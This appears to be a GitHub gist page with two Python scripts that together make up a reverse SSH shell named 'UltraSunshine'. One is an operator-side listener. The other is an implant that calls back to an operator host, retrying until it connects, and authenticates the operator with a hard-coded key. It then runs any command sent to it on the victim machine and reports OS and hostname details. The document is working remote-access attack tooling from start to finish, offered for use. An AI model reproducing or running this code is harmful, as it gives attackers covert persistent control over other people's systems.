Skip to content

Instantly share code, notes, and snippets.

@jmg292
Last active May 15, 2019 03:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jmg292/340653e05b52ee2460289a08ae11869a to your computer and use it in GitHub Desktop.
Save jmg292/340653e05b52ee2460289a08ae11869a to your computer and use it in GitHub Desktop.
import sys
import socket
import base64
import paramiko
import socketserver
try:
import termios
import tty
has_termios = True
except ImportError:
has_termios = False
class Shell:
@staticmethod
def posix_interactive(channel):
import select
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
channel.settimeout(0.0)
while True:
read, write, execute = select.select([channel, sys.stdin], [], [])
if channel in read:
try:
message = channel.recv(1024)
if len(message) == 0:
sys.stdout.write("\r\n*** EOF ***\r\n")
break
sys.stdout.write(message)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in read:
char = sys.stdin.read(1)
if len(char) == 0:
break
channel.send(char)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
@staticmethod
def windows_interactive(channel):
import threading
sys.stdout.write("Character-buffered terminal emulation. Press F6 or ^Z to send EOF.\r\n\r\n")
def writeall(sock):
while True:
data = sock.recv(1)
if not data:
sys.stdout.write("\r\n*** EOF *** \r\n\r\n")
sys.stdout.flush()
try:
sys.stdout.write(chr(data[0]))
sys.stdout.flush()
except IndexError:
print("[+] Connection closed.")
break
writer = threading.Thread(target=writeall, args=(channel,))
writer.setDaemon(True)
writer.start()
try:
while True:
try:
d = sys.stdin.read(1)
if not d:
break
channel.send(d)
except KeyboardInterrupt:
channel.send(b"\x18\n")
except EOFError:
pass
@staticmethod
def get_interactive(channel):
banner = channel.recv(40960)
print(str(base64.b64decode(banner), 'utf-8'))
if has_termios:
Shell.posix_interactive(channel)
else:
Shell.windows_interactive(channel)
class SessionHandler:
def __init__(self, transport: paramiko):
self._transport = transport
self._channel = None
def _handle_authentication(self, username, key_file):
with open(key_file, "r") as infile:
rsa_key = paramiko.RSAKey.from_private_key(infile)
self._transport.auth_publickey(username, rsa_key)
def control_session(self):
if self._channel is not None:
self._channel.get_pty()
self._channel.invoke_shell()
Shell.get_interactive(self._channel)
def start_session(self, username="UltraSunshine", key_file="private_key"):
try:
self._transport.start_client()
self._handle_authentication(username, key_file)
self._channel = self._transport.open_session()
return True
except Exception as e:
print(f"[!] Exception in session handler. Details: {e}")
return False
class ReverseSshTcpHandler(socketserver.BaseRequestHandler):
def handle(self):
transport = paramiko.Transport(self.request)
session_handler = SessionHandler(transport)
session_handler.start_session()
session_handler.control_session()
if __name__ == "__main__":
server = socketserver.TCPServer(("0.0.0.0", 40960), ReverseSshTcpHandler)
server.serve_forever()
import os
import io
import sys
import time
import shlex
import socket
import base64
import random
import asyncio
import getpass
import platform
import argparse
import paramiko
import threading
SERVER_KEY = """
"""
SERVER_KEY = paramiko.RSAKey.from_private_key(io.StringIO(SERVER_KEY))
class SshServer(paramiko.ServerInterface):
_embedded_public_key = "AAAAB3NzaC1yc2EAAAADAQABAAABAQDin28Lb5BAgLcQrcrZtt3VpsBRxMNiEqZa7A3HSsiqjzfqmZ0ouJ7wDXY" \
"HgXoquRLfmy5Nm/kIThXE5Q47Bsm3VmSbTZuG7/DCYisUzER90NnWxv+X8f7xGdt+47TGY6xsMpP87xPbausvXJF" \
"yKgCmSjenBmc6hshOMOjmaMk1ikpXJKQQPEInrahoqXZZ5XGoBh5RGNQ/nabv7feYlFI4ncL2mX7/NgUTDqSYiKu" \
"sgdBTWZbTSm4ccfPLUmBvdSWyqnRodEH4yWHJmCWFlBeyNEXamsjpgPHLIyYgczNTRVfR9rTSjz3sxYGJR/BAQdc" \
"UTB8iHXKhoB0DdUnznaQL"
def __init__(self):
self.event = threading.Event()
self._trusted_key = paramiko.RSAKey(data=base64.b64decode(SshServer._embedded_public_key))
def check_channel_request(self, kind, channel_id):
if kind == "session":
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_publickey(self, username, key):
if (username == "UltraSunshine") and (key == self._trusted_key):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def get_allowed_auths(self, username):
return "publickey"
def check_channel_shell_request(self, channel):
self.event.set()
return True
def check_channel_pty_request(
self, channel, term, width, height, pixelwidth, pixelheight, modes
):
return True
class ShellProvider:
def __init__(self, _channel):
self._sigterm = False
self._channel = _channel
self._channel_file = self._channel.makefile("r")
self._running_process = None
self._event_loop = None
self._read_task = None
self._writing = False
@staticmethod
def _get_os_info():
return f"{platform.system()} {platform.release()} {platform.version()} - {platform.platform()}"
@staticmethod
def _get_shell_prefix():
username = getpass.getuser()
end_bit = "$"
if "nt" in os.name:
end_bit = ">"
elif username == "root":
end_bit = "#"
return f"{username}@{platform.node()} {os.getcwd()}{end_bit}"
@staticmethod
def _change_dir(target_dir):
try:
os.chdir(target_dir)
return "Directory changed."
except (OSError, os.error):
return "Unable to access directory."
def get_banner(self):
banner = '\n'.join([
r" , /), ____ ___.__ __ _________ .__ .__",
r" (( -.((_)) _,) | | \ |_/ |_____________ / _____/__ __ ____ _____| |__ |__| ____ ____",
r" ,\`.'_ _`-',' | | / |\ __\_ __ \__ \ \_____ \| | \/ \ / ___/ | \| |/ \_/ __ \\",
r" `.> <> <> (,- | | /| |_| | | | \// __ \_/ \ | / | \\___ \| Y \ | | \ ___/",
r" ,', | `._,) |______/ |____/__| |__| (____ /_______ /____/|___| /____ >___| /__|___| /\___ >",
r"(( ) |, (`--' \/ \/ \/ \/ \/ \/ \/",
r" `'( ) _--_,-.\ Reverse SSH Bind Shell",
r" /,' \( ) `' OS Info: {0}",
r" (( `\ Hostname: {1}",
r" `"
])
return base64.b64encode(bytes(banner.format(self._get_os_info(), platform.node()), 'utf-8'))
@staticmethod
async def _handle_read_future(stream, callback):
while True:
char = await stream.read(1)
if char:
callback(char)
if not char:
break
async def _process_available_input(self):
await asyncio.sleep(0.5)
while self._running_process.returncode is None:
ready = self._channel.recv_ready()
if ready:
cmd_input = self._channel_file.readline()
if type(cmd_input) is str:
cmd_input = bytes(cmd_input, 'utf-8')
if cmd_input.strip() == b"\x18":
self._running_process.kill()
self._sigterm = True
return
self._writing = True
if not self._running_process.stdin.is_closing():
if self._read_task is not None:
self._read_task.cancel()
self._running_process.stdin.write(cmd_input)
await self._running_process.stdin.drain()
self._writing = False
else:
await asyncio.sleep(0.5)
async def _read_stream(self, stream, callback):
while True:
if not self._writing:
if self._sigterm:
if self._read_task is not None and not self._read_task.cancelled():
self._read_task.cancel()
self._read_task = None
self._sigterm = False
return
elif self._read_task is None:
self._read_task = self._event_loop.create_task(self._handle_read_future(stream, callback))
elif self._read_task.done():
if self._read_task.cancelled():
if self._writing:
continue
self._read_task = None
if self._running_process.returncode is not None:
break
else:
await asyncio.wait([self._read_task], timeout=0.25)
else:
await asyncio.sleep(0.25)
async def _stream_subprocess(self, cmd, output_callback):
self._running_process = await asyncio.create_subprocess_shell(
cmd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT,
stdin=asyncio.subprocess.PIPE,
)
tasks = [
self._read_stream(self._running_process.stdout, output_callback),
self._process_available_input()
]
await asyncio.wait(tasks)
def write_output(self, output):
self._channel.send(output)
def execute_command(self, cmd):
self._event_loop.run_until_complete(
self._stream_subprocess(cmd, self.write_output)
)
def parse_input(self, cmd_input):
cmd = shlex.split(cmd_input)
response = ""
if cmd_input.lower() == "exit":
sys.exit(0)
elif cmd[0].lower() == "cd":
response = self._change_dir(cmd[1])
else:
self.execute_command(cmd_input)
self._channel.send(f"{response}\n{self._get_shell_prefix()}")
def run(self):
if "nt" is os.name:
self._event_loop = asyncio.ProactorEventLoop()
asyncio.set_event_loop(self._event_loop)
else:
self._event_loop = asyncio.get_event_loop()
self._channel.send(self.get_banner())
time.sleep(0.25)
self._channel.send(self._get_shell_prefix())
while True:
message = self._channel_file.readline().strip()
if message:
self.parse_input(message)
else:
break
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--host")
parser.add_argument("--port", "-p", type=int)
args = parser.parse_args()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect((args.host, args.port))
break
except socket.error as e:
sleep_time = random.choice(range(30, 60))
print(f"[!] Socket error trying to connect to {args.host}:{args.port}")
print(f"[!] Details: {e}")
print(f"[+] Retrying in {sleep_time} seconds.")
time.sleep(sleep_time)
server = SshServer()
transport = paramiko.Transport(s)
transport.add_server_key(SERVER_KEY)
transport.start_server(server=server)
channel = transport.accept(60) # Allow 60 seconds for authentication
if channel:
print("[+] Authenticated!")
server.event.wait(10)
if server.event.is_set():
# Client asked for a shell, giving it to them.
shell_provider = ShellProvider(channel)
shell_provider.run()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment